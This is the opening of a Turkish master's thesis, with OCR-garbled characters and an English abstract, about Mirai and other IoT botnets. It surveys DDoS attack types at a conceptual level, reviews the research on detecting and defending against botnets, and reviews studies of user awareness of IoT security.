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Son yillarda hizla biiyliyen nesnelerin interneti (internet of things- 10T) ekosistemiyle
birlikte internete erisebilen, veri iiretebilen ve paylasabilen akilli cihazlar endiistriyel
otomasyondan saglik sektoriine, bina ve ev otomasyonundan ulasim sektoriine dek

bir¢ok alanda dijital doniisiim ve tasarim yeniliklerinin baslica unsuru haline gelmistir.

IoT cihazlarini hedef alan siber saldirilar uzun siiredir bilinse de 6zellikle 2016 yilinda
adin1 duyuran Mirai ile birlikte bu saldirilar ciddi bir artis gostermistir. Mirai zararh
yazilimi ve tiirevleri vasitasiyla 10T cihazlari kot amagh kisilerin olusturdugu
botnetler tarafindan ele gecirilmekte ve dagitik hizmet dis1 birakma saldirilarinin
diizenlenmesinde rol oynamakta, saldirilara maruz kalan organizasyonlarda hizmet
kesintileri ve maddi kayiplarin yani sira itibar zedelenmesine neden olmaktadir. Zararl
yazilimlarin kaynak kodlarinin internet iizerinde yayinlamasiyla bu yazilimlarin
evrimlesme siireci hizlanmakta, temelde benzer saldir1 ve enfeksiyon mekanizmalarina

sahip olmakla birlikte farkli agikliklart hedef alan versiyonlar gelistirilmektedir.

Mirai zararli yazilimimm meydana getirdigi etkiyle birlikte 10T ekosistemini

giivenlilestirme ¢abalar1 artmig; bir kisim iilkeler giivenlik agig1 bulunan cihazlarin



satigin1 engellemek amaciyla yasa, yonetmelik vb. nitelikte yasal diizenlemeler
yaymlamistir. Bir kisim tireticiler zafiyetli cihazlarini geri toplamis veya bu cihazlara

yonelik giincelleme yayinlamistir.

Bu calismada giinlimiizdeki bir¢cok botnetin Onclisli ve kaynagi olan Mirai zararl
yaziliminin kaynak kod analizi gerceklestirilerek saldiri, enfeksiyon, komuta-kontrol
mekanizmalar1 agiklanmigtir. Mirai ve benzeri zararli yazilimlarla miicadelede
tireticiler ve yasal otoriteler tarafindan alinan tedbirler ile bu alanda yapilan akademik
calismalar incelenmistir. Ulkemizdeki sosyal medya kullanicilarinin nesnelerin
internetine yonelik algi ve egilimlerini tespit etmek amaciyla kullanici arastirmasi
yapilmig, bu arastirma neticesinde her bes kisiden ikisinin satin aldiklart 10T
cihazlarinin parolalarini ilk kurulumda degistirmedikleri tespit edilmistir. Tiiketicilere
yonelik gelistirilen ticretsiz 10T cihazlari agiklik tarama programlarinin teknoloji okur
yazarlig1 konusunda kisith ve Ingilizce bilmeyen bir kullaniciy tespit edilen giivenlik

acikliklar1 konusunda yonlendirmede yetersiz seviyede oldugu goriilmiistiir.

Elde edilen bulgular degerlendirilerek iilkemizdeki yasal otoriteler tarafindan
aliabilecek tedbirlerler sunulmus, 10T cihazlariin test edilmesi ve belgelendirilmesi
siirecine dair Onerilerde bulunulmus; ayrica kullamicilarin sahip olduklart 10T
cihazlarini giivenli parola ile yapilandirmalarini tesvik edecek bir web tarayici uzantisi

tasarlanmistir.

Anahtar Kelimeler: Nesnelerin interneti, Mirai, Dagitik hizmet dis1 birakma
saldirisi, Botnet, Siber giivenlik.
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The rapidly growing presence of Internet of Things (IoT) ecosystem has not only
contributed in digital transformation of industry, transportation, healthcare and many
other fields with smart devices producing and sharing data online; but also promised

innovative business models and novel user experiences.

Cyber attacks targeting 10T devices have been known for a long time but they became
widespread after Mirai malware in 2016. By means of Mirai and its variants, malicious
actors gain control of 10T devices, add them to botnets and perform distributed denial
of service (DDoS) attacks to various targets. These attacks cause service outage,
financial and reputational loss of victim organizations. Publishing source code of
malware online expedites evolution of malware and leads to new variants. Even these
variants have similar mechanisms of attack, propagation and infection; they may target

different vulnerabilities.

Considering the significant impact of Mirai, the number of attempts to secure loT
ecosystem has been increased. Few countries issued legal measures to prevent
circulation of vulnerable devices in their markets. Some, but not all, vendors called

back their vulnerable devices or released security updates.
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In this study, the source code of Mirai, the inspirer of recent 10T botnets, was analyzed
and propagation, infection, command&control mechanisms were revealed. The legal
and practical measures against Mirai and its variants issued by vendors and authorities
were researched, academic literature was reviewed. A user research was conducted to
determine public tendencies and perception about loT security in Turkey. It is
observed that every two of five users don’t change their IoT devices’ default
credentials during initial configuration. Popular free 10T vulnerability scanning
applications developed for customers were tested and the results showed that these
applications are inadequate to guide non-English speaking and low technolgy literacy

skilled users about identified vulnerabilities.

Findings were discussed, proposals of legal measures and certification of 10T devices
were made to Turkish authorities, a web browser extension to enhance configuring loT

devices with secure passwords was designed for Turkish speaking home users.

Keywords: Internet of things, Mirai, Distributed denial of service attack, Botnet,
Cyber security.
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1. GIRIS

Bilgi teknolojilerinin her gegen gilin hayatimizda daha fazla yer almasi ile internete
bagli, veri saklayabilen ve gonderebilen nesnelerin kullanimi da yaygilasmustir.
Nesnelerin interneti (internet of things-10T) olarak da adlandirilan bu ekosistem
sayesinde neredeyse her bireyin yakin ¢evresinde ¢esitli amaglarla kullanilan en az bir
¢evrim i¢i nesne bulabilmek miimkiindiir [1]. 2030 yilina kadar internete bagl
nesnelerin sayisinin 500 milyar1 asmasi beklenmektedir [2]. Bir ¢ok farkli amagla
kullanilan ¢evrim igi nesneler siber saldirilarin hem faili hem de hedefi olabilmektedir.
OWAGSP tarafindan yayimlanan 2018 yili 10T ekosistemini tehdit eden ilk on zafiyet
listesinde nesnelerin yonetiminde basit, tahmin edilir, herkesge erisilebilen veya

degistirilemez parola kullanimu ilk sirada bulunmaktadir [3].

Basit veya varsayilan parolalarin yarattig1 glivenlik agiklari uzun siiredir kotii niyetli
kisilerce istismar edilse de 10T giivenliginde doniim noktas1 Mirai ile yasanmuistir.
Mirai kelimesi Japonca’da “gelecek” anlamina gelmektedir. Mirai ilk defa 20 Eyliil
2016 tarihinde KrebsOnSecurity isimli siber giivenlik konulu bir blog sitesine 620
GBps’ye ulasan boyutta dagitik hizmet dis1 birakma saldiris1 gerceklestirmesiyle adini
duyurmus ve 25 Eyliil 2016’da OVH barindirma firmasinin sistemlerini hedef alarak
1 TBps boyutunda zararli trafik yaratmis [4], bir ay sonra Dyn’e gergeklestirilen
saldirida ulasilan 1.2 TBps boyut ile kendi tiiriinde o giine kadar diizenlenen en biiyiik
boyuttaki saldir1 olarak literatiire ge¢mistir. Dyn bu saldiriya katilan ug sistem
sayisinin 100.000 civarinda oldugunu duyurmustur [5]. Mirai’yi kodlayan kisilerin
kaynak kodlarimi paylasmasiyla yeni versiyonlari ortaya c¢ikmistir [6]. 03 Kasim
2016’da Bat1 Afrika {ilkesi Liberya’nm iletisim altyapist Mirai’nin bir tiirevi
tarafindan hedef alinmis [4], 27-29 Kasim 2016 tarihleri arasinda Zyxel ve Speedport
markali yonlendiricilerde bulunan bir agiklig1 somiirerek bu cihazlar enfekte etmeye
calisan bir Mirai tiirevinin cihazlar islevsiz hale getirmesi sebebiyle Alman internet
servis saglayicisi Deutsche Telekom firmasinin yaklasik 900.000 miisterisinin

internete erisimi engellenmistir [7].



[k saldirinin iizerinden iki yildan uzun siire gegmesine ragmen Mirai tiirevi zararh
yazilimlar internet iizerinde basit veya varsayilan parola kullanimi sebebiyle 0T
cihazlarim ele gecirmeye ve bu cihazlan ¢esitli hedeflere diizenlenen hizmet disi

birakma saldirilarinda kullanmaya devam etmektedir [8].

Koétii niyetli kisilerce olusturulan botnetler saldir1 siiresi ve saldirtya katilacak cihaz
sayist ile orantili fiyatlarla kiralanmakta ve bu yolla gelir elde edilmektedir.
Checkpoint tarafindan yayimlanan 2019 yili giivenlik raporuna gére 60 ABD dolar
karsiliginda nesnelerin interneti botneti kiralamak miimkiindiir ve internete erisen

cihaz sayisi arttik¢a bu fiyatlarin daha da azalacagi beklenmektedir [9].

Mirai ve tiirevleri tarafindan hedef alinan agikliklara sahip cihazlarin kullanimina
devam edilmektedir. internete bagli sistemlerin kesfinde kullanilan zoomeye.org
sitesinde yapilan sorgulamalarda halen 23 numarali portu agik ve i¢inde Busybox
uygulamasi kurulu cihazlarin ve Mirai tabanli komuta kontrol sunucularinin iilkemizde

ve diinyada faaliyet gésterdikleri goriilmiistiir [10-12].

Bu yiiksek lisans bitirme tezinin amaci; 10T cihazlarina yonelik dagitik hizmet dis1
birakma saldirisi yetenekli botnet saldirilarini incelemek, Mirai zararli yaziliminin
kaynak Kkodlarinin kapsamli bir analizini gergeklestirmek, Tiirkiye’de nesnelerin
internetinin giivenligine dair algi ve egilimleri tespit etmek, iilkemiz sinirlarindaki 10T

cihazlarinin botnet saldirilar ile ele gegirilmesini 6nleyecek Oneriler sunmaktir.

1.1 Literatiir Taramasi

Bu boliimde ¢alismanin ana konusunu olusturan dagitik hizmet dis1 birakma saldirilari,
IoT botnetler, Mirai zararli yazilimi, IoT botnetlerle miicade konusunda yapilan
akademik caligsmalar ve kullanicilarin IoT cihazlarinin giivenligine dair farkindaliginm

tespit eden arastirmalar incelenmistir.

1.1.1 Dagitik hizmet dis1 birakma saldirilar:

Hizmet dis1 birakma saldirilari (denial of service-DoS) bir hizmetin mesru kullanimini
engellemek amaciyla diizenlenen belirgin girisimler olarak karakterize edilmektedir
[13]. Bu saldiri tipinin ilk versiyonlarinda hedef alinan hizmeti saglayan sistemlerdeki
yazilimlarda bulunan agikliklarin somiiriildiigii gériilse de sonrasinda biiylik miktarda

ag trafiginin hedef hizmeti saglayan sistemlere yonlendirildigi, TCP ve UDP gibi
2



ulagim protokollerindeki yapisal agikliklarin kullanilarak hedef alinan sistemlerdeki
islemci vb. kaynaklar1 tiikettigi veya sistemi genis aga baglayan hatlarda bant
genisligini tiiketerek mesru baglanti taleplerine hizmet verilememesinin saglandigi
goriilmistiir [14]. Dagitik hizmet dis1 birakma saldirilari (distributed denial of service-
DDoS) bu amac1 ger¢eklestirmek i¢in ¢cok sayida farkli birimi harekete gecirerek coklu
saldirilar diizenlenmesi ilkesini temel almaktadir, saldirrya katilmasi amaciyla
olusturulan saldir1 toplulugu botnet olarak adlandirilmakta ve bu botnetler

saldirganlarca isletilen komuta kontrol sunuculari1 vasitasiyla kontrol edilmektedir
[15].

1.1.1.1 TCP SYN saldiris1

TCP SYN saldirisinda bu protokolde kullanilan tiglii el sikisma mekanizmasinda
bulunan yapisal bir agiklik somiiriilmektedir. Uglii el sikisma mekanizmasinda
sunucular kendilerine bir istemciden gelen TCP SYN paketinin giivenilirligini kontrol
etmeden bu baglanti istegine iliskin kaynak ayirir, istemcinin IP adresine SYN/ACK
paketi gonderir ve istemciden ACK paketini beklemeye baslar [16].

Saldirgan hedef alinan sunucuya sahte IP adresi ile SYN paketi gonderdiginde sunucu
SYN/ACK paketini sahte IP adresine gonderir ve ACK paketini beklemeye baglar.
Sahte IP adresi gercekte var olmadigindan veya varolsa dahi ilk SYN paketini o
gondermediginden sunucudan gelen SYN/ACK paketini ACK ile yanitlamaz.
Saldirgan ACK paketi gondermeden sahte IP adresleri iizerinden SYN paketi
gondermeye devam eder. Gelen SYN paketlerine kaynak ayiran sunucu bir siire sonra

kaynaklarini tiikketir ve mesru baglantilara cevap veremez hale gelir. [17].

1.1.1.2 ACK ve ACK&PUSH saldirisi

ACK saldirisinda hedef sisteme ACK bayrag set edilen TCP paketleri gonderilir. Uglii
el sikisma yapilmadigindan hedef sistem ACK paketlerinin kaynagina RST ile doniis
yapar. Bu durum ¢ok fazla sayida kaynaktan ayni1 anda gerceklestirildigi takdirde hedef
cithazin durum tablosu (state-table) ve/veya baglanti listesi tiiketilir ve hedef sistem
mevcut baglantilara yanit veremez hale gelir. Bu saldir1 tipinde bant genisligi tiiketmek
de mimkiindiir [18]. ACK&PUSH saldirisi aym1 yontemle gergeklestirilen bir
saldiridir, ACK saldirisindan tek farki ACK bayragiyla birlikte PUSH bayraginin da
set edilmesidir [19].



1.1.1.3 ICMP flood saldiris1

ICMP (Internet Control Message Protocol) bagli olunan agin durumunu tespit etmek
ve TCP, IP gibi protokollerin dogru bir sekilde calisabilmesi i¢in kullanilan bir
protokoldiir.

Agabagli bir sisteme ICMP protokolii kullanilarak mesaj gonderilirse sistem bu mesaj1
yine ICMP protokolii ile olusturdugu bir mesajla yanitlar. Bu sayede iki sistem
arasindaki hattin faal olup olmadigi, mesajlarin ulagim stiresi vb. bilgiler 6grenilir.
ICMP flood saldirilarinda sahte IP adresleri kullanilarak iiretilen ¢ok sayida ICMP
mesaj1 hedef alinan sisteme gonderilir. Hedef alinan sistem her bir mesaj1 yanitlamak
icin kaynak ayirir ve yanitlar. Gelen ve giden ICMP mesajlar1 ag ve sistem

kaynaklarini tiikketir ve hedef alinan sistem baglanti taleplerine hizmet veremez [20].

1.1.1.4 UDP flood saldirisi

UDP flood saldirilarinda hedef IP adresinde hizmet veren sistemin rastgele segilen
portlarina sahte IP adresleri iizerinden ¢ok sayida UDP paketi gonderilir. Paketleri alan
uzak sistem paketlerin geldigi portlar1 dinleyen uygulamalar1 kontrol eder, higbir
uygulamanin bu portlart dinlemedigini goriir ve paketleri “ICMP Destination

Unreachable” paketiyle yanitlar.

Cok sayida UDP paketinin gonderilmesi ve bunlarin ICMP paketi ile
cevaplandirilmasi sistem ve ag kaynaklarmni tiiketerek mesru istemcilerin uzak sisteme
erisimini engeller. Saldirganlarca sahte kaynak IP adresi kullanimi ICMP paketlerinin

kendi sistemlerine gelmesini 6nler [21].

1.1.1.5 Smurf saldirisi

Smurf saldiris1 ag seviyesinde diizenlenen bir saldiridir. Saldirgan tarafindan, kaynak
IP adresi olarak kurban sistemin IP adresinin verildigi, ¢ok sayida ICMP echo mesaj1
broadcast yayin yapabilen sistemlere gonderilir. Mesaji alan her bir sistem aldigi
ICMP echo mesajin1 bulundugu agdaki tiim sistemlere iletir ve bu sistemler tirettikleri
ICMP echo mesajin1 kurban sisteme gonderir. Bu trafik bant genisligini tiikettigi gibi
paketleri alan kurbanin bu paketleri yanitlamak i¢in harcadigi kaynak nedeniyle
kurbanin kaynaklarinin da tiikenmesi saglanir ve kurban sistem mesru baglanti

taleplerine cevap veremez [22].



1.1.1.6 Fraggle saldirisi

Fraggle saldirist Smurf saldirisina benzemekte olup ICMP yerine UDP echo

paketlerinin kullanimi ile gerceklestirilir.

Saldirgan tarafindan, kaynak IP adresi olarak kurban sistemin IP adresinin verildigi,
cok sayida UDP echo paketi broadcast yayin yapabilen sistemlerin 7 numarali portuna
(udp echo hizmeti) gonderilmektedir.Paketi alan her bir sistem aldigi UDP echo
paketini bulundugu agdaki tiim sistemlere iletir ve bu sistemler tirettikleri UDP echo
paketini kurban sisteme gonderir. Bu trafik bant genisligini tiikettigi gibi paketleri alan
kurbanin bu paketleri yanitlamak i¢in harcadigi kaynak nedeniyle kurbanin
kaynaklarinin da tiikenmesi saglanir ve kurban sistem mesru baglanti taleplerine cevap

veremez [23].

Fraggle saldirisinda etkiyi arttirmak icin UDP echo paketleri broadcast yayin yapan
sistemde CHARGEN’in (karakter iiretim protokolii-character generation protocol)
hizmet verdigi 19 numarali porta gonderilir, broadcast yayin yapabilen sistem aldig1
paketi etki alanindaki tiim sistemlere iletir, sistemler karakter tireterek kurban sistemin
7 numarali (echo servis portu) portuna bu karakterleri génderir, kurban sistem bu
paketi alir ve gelen paketleri cevaplandirir, dolayisiyla bir dongii olugur. Bu yoniiyle

Fraggle saldirilart Smurf saldirilarindan daha etkilidir [24].

1.1.1.7 DNS flood saldirisi

DNS flood saldirisinda, saldirgan tarafindan olusturulan sahte DNS sorgular1 kurban
sistemin DNS sunucusuna gonderilerek sunucunun kaynaklarinin tiikketilmesi saglanir.
DNS sunucusu hizmet veremez hale geldiginde kurban sisteme baglanmak isteyen
mesru kullanicilarin yaptiklart DNS sorgular1 cevaplanmaz, bu sayede mesru
kullanicilarin baglant1 istekleri kurban sisteme ulasmaz. DNS protokolii uygulama
katmani seviyesinde hizmet veren ve UDP tabanli bir protokoldiir. TCP’de oldugu gibi
karsilikli kurulan bir devre lizerinden haberlesme ve iletisimi dogrulama mekanizmasi

bulunmadigindan sahte IP adresli paketlerle trafik yaratmak miimkiindiir.

Sahte DNS sorgular1 mesru sorgularla ayni 6zelliklere sahip oldugundan her iki sorgu

tipini ayirt etmek ve DNS flood saldirisini tespit etmek zordur [25].



1.1.1.8 HTTP flood saldirisi

HTTP flood saldirilar1 uygulama katmani seviyesinde icra edilen saldirilardir. HTTP-
GET istekleri bir web sayfasindaki statik igerigi, HTTP-POST istekleri bir web
sayfasinda dinamik olarak iiretilen igerigin goriintiilenmesini saglar. Hedef alinan web
sunucusuna botnete dahil edilen sistemler tarafindan olusturulan ¢ok sayida HTTP-
GET veya HTTP-POST istekleri gonderilerek sunucunun kaynaklarinin tiiketilmesi
amaglanir [26]. Hedef sunucu legal isteklerle saldir1 kapsaminda gonderilen istekleri
ayirt edemez ve gelen tiim isteklere yanit vermek igin kaynaklarimi kullanir [27].
HTTP-POST istekleri hedef sunucu ilizerinde daha fazla islem giicii tiiketeceginden bu
isteklerle yapilan saldirilar HTTP-GET isteklerine gore daha etkilidir [28].

1.1.1.9 DNS amplification saldiris1

DNS ampflication saldirisinda 6z yinelemeli DNS sunucularindan faydalanilir. DNS
protokolii yapisi geregi kiiclik boyuttaki DNS sorgularina daha biiyiik boyutta DNS
cevaplar iiretilmektedir. DNS ampflication saldirilarinda da bu yapisal 6zellik hedef
alinarak saldir1 icin tretilmis kiiclik boyutlardaki paketlerin biiyiik boyutta trafik
yaratmasi saglanir. Saldirgan tarafindan, kaynak IP adresi kurban sistemin adresi
olarak hazirlanan, DNS sorgulart DNS sunucusuna gonderilir. DNS sunucusu gelen
sorgulara cevap paketi hazirlar ve kurban sistemin IP adresine gonderir. Botnete dahil
edilen ¢ok sayida sistemin ayni1 anda gonderecegi sorgulara donen cevaplar kurban
sistemin ag ve sistem kaynaklarini tiiketerek mesru kullanicilarin kurban sisteme

erisimi engellenir [29].

1.1.2 Mirai botnet

Sinanovic ve Mrdovic (2016) Mirai zararli yazilimimin kaynak kodlarimi statik ve
dinamik olarak analiz etmis, bot cihazlarin komuta kontrol sunucusu ve raporlama
sunucusuyla iletisiminin agik metin oldugunu ve bu sebeple saldiri tespit sistemlerine
yazilacak kurallar ile Mirai botnet varligimin tespitinin miimkiin oldugunu

degerlendirmistir [30].

Riegel (2017) Mirai zararli yaziliminin kaynak kodlarim statik ve dinamik olarak
analiz etmis, yazilimdaki sozde rastgele say1 iiretme fonksiyonunu Dieharder test suite

ile istatistiksel olarak test etmistir. Test sonucunda miikemmel rastgele sayi tiretecinin



tirettigi sayilarin rastgele olmasi durumu ile fonksiyonun trettigi sayilarin rastgele
olmasi durumunda istatistiksel agidan anlamli fark bulundugu; ancak fonksiyonun

rastgele say1 tiretmede goreceli olarak iyi seviyede oldugu degerlendirilmistir [31].

Antonakakis ve dig. (2017) Mirai kaynak kodlarinin yaymlanmasindan sonraki yedi
ay boyunca elde ettikleri veriler neticesinde Telnet protokoliiniin yamsira SSH,
CWMP, FTP ve HTTPS protokollerinin de Mirai botnetleri dahilinde kullanildigin
tespit etmistir [32].

Dulaunoy ve Mokaddem (2017) tespit ettikleri bir Mirai versiyonunda kripto para
kazma modiilii oldugunu ve sadece dagitik hizmet dis1 birakma saldirist icra
edilmeyip, ele gegirilen cihazlar {lizerinden maddi kazang saglanmasinin miimkiin

oldugunu tespit etmistir [1].

Semi¢ ve Mrdovic (2017) internet iizerinde nesnelerin interneti botnet saldirilarinca
tiretilen trafikte kullanilan parametreleri ele gegirilerek Mirai ve tiirevi botnet
saldirilarinda kullanilan saldir1 vektorlerini tespit edebilmek amaciyla IoT-Balkiipt
gelistirmis, Mirai kaynak kodlar1 yardimiyla olusturulan botnet ile yapilan testlerde
zararl trafik icerisinde enable, sh, shell, system komutlar1 tespit edilmistir [33].

De Donno ve dig. (2018) Mirai’nin Bashlite ve LightAidra benzeri bir altyapiya sahip
oldugunu, dolayisiyla Mirai’nin bu zararli yazilimlarin gelistirilmis bir versiyonu

olabilecegini degerlendirmistir [24].

Fong ve dig. (2018) KrebsOnSecurity web sitesine gerceklestirilen servis dis1 birakma
saldirisinin, saldirtya katilan her bir cihazin elektrik vb. giderler gz oniine alindiginda

cihaz sahibine 13,50 ABD Dolari’na mal oldugunu tespit etmistir [34].

1.1.3 10T botnetlerle miicadele

Margolis ve dig. (2017) tarafindan; yerel ag tizerindeki cihazlar1 tespit eden, Mirai ile
benzer bir sekilde cihazlar {izerinde kaba kuvvet yontemi ile oturum agmaya ¢alisan,
basarili oturum acildig1 takdirde cihazin oturum agma bilgilerini degistiren ve cihaz

tizerindeki zararli yazilimi silerek kullaniciya raporlayan bir betik hazirlanmistir [6].

Ozgelik ve dig. (2017) yazilim tabanli ag (software defined network) ve sis bilisimden
(fog computing) faydalanarak Mirai benzeri botnet saldirilarini tespit etme / risk

azaltma metotu gelistirmistir. Bu metotta dagitik hizmet dis1 birakma saldirisinin



tespitinde genel yaklasim olarak benimsenen hedef tarafindan ve hedef iizerinde saldir1
tespiti degil; saldirinin enfekte olmus 10T cihazlarinin bagh oldugu aglar iizerinde

tespiti amaglanmustir [35].

Catak (2017) topluluk yontemlerine (botnet) dayali dagitik hizmet disi birakma
saldirilarinin  algilanmasi1 kapsaminda loglardan olusan siber giivenlik verilerini
egitilebilir duruma getirerek bir tahmin modeli ortaya ¢ikarmistir. Veri seti tizerinde

yapilan testlerde en yiiksek dogruluk oram %97,82 olarak 6l¢iilmiistiir [36].

Habibi ve dig. (2017) internete bagli cihazlarin; olusturulacak beyaz listeler vasitasiyla
gelen ve giden trafiklerinin kontrol edilecegi, loglardan elde edilen siipheli IP adresi
ve dosyalarin VirusTotal {izerinden kontrol edilecegi Heimdall adim1 verdikleri bir
giivenlik mimarisi onermislerdir. Yapilan testlerde Heimdall devrede oldugu siirece
cihazlarin legal trafigi kesilmemis ancak zararh trafik kesilerek cihazlarin enfekte

edilmesinin engellenmesi saglanmistir [37].

Cao ve dig. (2017) botnetlere dahil edilen cihazlarin beyaz-Mirai olarak adlandirilan
iyl niyetli bir Mirai tiirevi yazilim yardimiyla sikilastirilmasini 6nermistir. Enfekte
olan cihazin kullanicisinin cihazim iretici ile kararlastirilan bir zaman araliginda
yeniden baslatmasi sonrasinda cihazda beyaz-Mirai ile oturum agilarak emniyetsiz
portlarin kapatilmasi, varsayilan parolanin degistirilmesi, iiretici tarafindan yonetilen
bir sunucu ile cihaz arasinda iletisim kurularak cihazin merkezi takibi saglanmistir.
Pilot calismalarda Mirai ile miicadele konusunda ilerleme saglandig

degerlendirilmistir [38].

Meidan ve dig. (2018) ¢esitli 6zellik ve sayilarda 10T cihazlar1 barindiran biiyiik
organizasyonlarda cihazlarin botnete dahil edilmesini engellemek amaciyla, N-BaloT
ad1 verilen, zararh trafik 6rneklerinden elde edilen verilerle derin 6grenme yaparak
mevcut anomalileri tespit eden bir ag tabanli anomali tespit sisteminin kullanimini

Onermistir [39].

Frank ve dig. (2018) tarafindan antimirai.py ve secure.sh isimli betikler gelistirilmistir.
Bu betiklerle varsayilan parolalar degistirilmekte, bir Busybox sarmalayici ile Mirai
tarafindan kullanilan kodlar filtrelenmekte, oturum a¢ma kapsayfas: (banner)

degistirilmekte, komuta kontrol sunucusuyla iletisimi tespit etme ve engelleme



amaciyla /etc/host.deny kodu calistirilmaktadir. Yapilan testlerde kapsayfasi

degisiminin Mirai enfeksiyonunu engellemedigi goriilmiustiir [40].

Kumar ve Lim (2019) Mirai benzeri botnet saldirilarinda ele gegirilen nesnelerin
tirettigi paketleri iki boyutlu (zaman-cihazdan cihaza iletisim) olarak inceleyerek ele
gegirilen nesnelere dair imzalar tespit etmis ve bir bot tespit algoritmasi geligtirmistir.
Bu algoritma ile ag trafigini izleyerek botnet tespiti yapabilecek sentinel (ndbetgi)

cihazlarin aglara kurulmasini 6nermistir [41].

Shafi ve Basit (2019) yazilim tabanli ag mimarisi ile farkli alt aglart birbirine
baglamay1 ve her bir alt agda blok zincir yardimiyla yonetici tarafindan belirlenen
giivenlik kurallarinin dogrulanarak nesnelere iletilmesini ve bu sayede dagitik hizmet
dis1 birakma saldirilan diizenleyen botnetlere yeni cihazlarin katiliminin 6nlenmesini

Onermistir [42].

1.1.4 Farkindalik tespiti

ESET sirketi (2016) nesnelerin internetinin giivenligine dair kullanici egilimini 6lgme
amaciyla 1527 katilimcinin yer aldigi bir ¢alisma gerceklestirmistir. Katilimcilarin
%?22’sinin evinde 4-7 cihazin internet erisiminin oldugu, %29’unun evlerindeki
modemin varsayilan parolasini degistirmedigi, katilimecilarin %24 {iniin evlerindeki
termostatin kontrolii vb. amaglar i¢in mobil uygulama kullandigi, %85’inin web
kameralarin yetkisiz kisilerce erisilebilir oldugunun farkinda oldugu ve %36’sinin web

kameralarini1 korumaya doniik herhangi bir tedbir almadig tespit edilmistir [43].

Ghiglieri ve dig. (2017) 200 katilimcinin akilli televizyonlara yonelik mahremiyet ile
ilgili risklere dair farkindaligim1 6l¢gmek amaciyla bir ¢evrim i¢i anket diizenlemistir.
Sonuglar analiz edildiginde; genel olarak diisiik seviyede bir farkindalik oldugu
goriilmiis, katilmeilarin %16’sinin risklere dair farkindalik sahibi oldugu tespit
edilmistir. Akilli televizyonun kullanilabilirlik seviyesini diisirmedigi siirece
mahremiyetin korunmasina dair almacak tedbirlerin kullanicilar tarafindan

benimsenecegi sonucuna varilmigtir [44].

Mcdermott ve dig. (2019) 158 katilimciya ¢evrim i¢i anket uygulayarak katilimcilarin
nesnelerin internetine dair algi ve egilimlerini tespit etmeye ¢alismistir. Katilimcilarin
%44 inlin herhangi bir loT cihazina sahip olmadigi, %36’sinin bir cihaza, %20’sinin

iki veya daha fazla sayida cihaza sahip oldugu goriilmiistiir. Katilimcilarin ¢ogunlugu
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giivenlik (%65) ve mahremiyetin (%63) bir IoT cihazinin sahip olmasi gereken
ozelliklerden oldugunu belirtmistir. Bir IoT cihazinin sahip olmasi1 gereken
ozelliklerin 6nem derecesine gore siralanmasi sorusunda ise katilimcilarin
cogunlugunun (%34) kurulum kolayligi, kullanim kolayligi, uygunluk, giivenlik ve
mahremiyet yerine maliyet 6zelligini ilk sirada sectigi tespit edilmistir. Bu durum
“kullanicilar tarafindan teorik olarak giivenlik ve mahremiyete 6nem verilse de
pratikte maliyetin daha 6nemli bir faktor olarak goriildiigii” seklinde yorumlanmistir

[45].
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2. 10T CIHAZLARI VE BOTNETLER

0T cihazlar genellikle disiik islemcili, diisiik bellekli, sinirli kapasiteli ve diisiik
maliyetli cihazlardir [46]. Cihazlarin temel karakteristik 6zellikleri incelendiginde
¢ogunlugunda gomiilii (embedded) Linux kullanilan, genellikle ARM ve MIPS islemci
mimarisinde dizayn edilmis, calistirilabilir baglanabilir format (Executable and
Linkable Format) dosyalari destekleyen, aga baglanma yetenegine sahip ve voliimetrik
saldirt yapmaya yetecek miktarda paket iiretebilecek cihazlardir [47]. Agik anahtar
alogritmasi, kriptografi vb. giivenlik uygulamalarimin kullanimi kaynak yetersizligi
sebebiyle smirlt oldugundan bu cihazlar botnetlere kolayca dahil edilmekte ve dagitik

hizmet dis1 birakma saldirilarinda sik¢a yer almaktadir [48].

2.1 Mirai Oncesi 10T Botnetler

Bu boéliimde Mirai zararl yazilimindan 6nce internet ekosisteminde loT cihazlarini

hedef alan botnetler ve bu botnetlerin saldiri mekanizmalar1 incelenmistir.

2.1.1 Linux/Hydra

Linux/Hydra 10T cihazlarimt etkileyen bilinen ilk botnet yazilimidir. 2008 yilinda
ortaya ¢ikmis ve MIPS mimarili D-Link y&nlendiricileri hedef almistir. Oncelikle
kayith varsayilan parolalar ile kaba kuvvet oturum agma denenmekte, basarisiz olursa
s0z konusu yonlendiricilerde bulunan bir kimlik dogrulama bypass acgikligi
somirilmektedir. Enfekte edilen cihaz IRC protokolii ile kontrol edilen bir bot agina
dahil edilmekte ve sadece SYN flood saldirilar1 yapabilmektedir. Kaynak kodlar

yayinlanmig ve erisime agiktir [49].

2.1.2 PsybOt

PsybOt 2009 yilinda kesfedilmistir ve Linux/Hydra’nin gelistirilmis bir versiyonu
oldugu distintilmektedir. MIPS mimarili D-Link yonlendiricileri hedef almustir.

Botnet iletisimi IRC tabanlidir. Oncelikle kayitli varsayilan parolalar ile kaba kuvvet
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oturum agma denenmekte, basarisiz olursa s6z konusu yonlendiricilerde bulunan bir
kimlik dogrulama bypass agikligr somiirtilmektedir. SYN flood saldirisina ilaveten
UDP ve ICMP flood saldirilart diizenlenebilmektedir. Kaynak kodlar

yaymlanmamustir [50].

2.1.3 Chuck Noris

2009 yilinin aralik ayinda ilk defa tespit edilmistir. Tersine miihendislik analizinde “in
nome di Chuck Norris!” icerikli bir string dizisine rastlanildigindan analistler tarafinda
Chuck Norris olarak adlandirilmistir. PsybOt’un modifiye edilmis bir versiyonu oldugu
degerlendirilmektedir. Botnet iletisimi IRC tabanlidir. PsybOt’tan farkli olarak ICMP
flood saldirisi ¢ikarilmis ve ACK flood saldirisi eklenmistir [51]. Ayrica enfekte edilen
cihazlarda arka kapi birakmakta ve bu cihazlar iizerinde uzaktan kod yiiriitiilmesini

miimkiin kilmaktadir [52].

2.1.4 Tsunami

2010 yilinin mart ayinda ilk defa tespit edilmistir. Chuck Norris ve Hydra ile benzer
kodlar icermektedir. Latin Amerika tilkelerini etkilemistir ve Linux Kaiten/Tsunami
isimli agik kaynakli zararli yazilim ile de benzer 6zellikler tagimaktadir. Kendisinden
onceki zararli yazilimlardan farkli olarak DNS ayarlarini degistirdigi ve 22-80

arasindaki portlar1 kapattigi gézlemlenmistir [50].

2.1.5 LightAidra/Aidra/Zendran

2012 yilinda ortaya cikmistir ve acgik kaynakli bir arastirma projesi kapsaminda
gelistirildigi iddia edilmektedir [53]. MIPS, ARM, PPC, SUPERH mimarilerini hedef
almistir. Kayith parolalart kullanarak cihazlar iizerinde oturum acgarak cihazlari
enfekte etmektedir. IRC protokolii ile botnet iletisimi ger¢eklesmekte, SYN flood ve
ACK flood saldirilart yapilmaktadir [54].

2.1.6 Carna

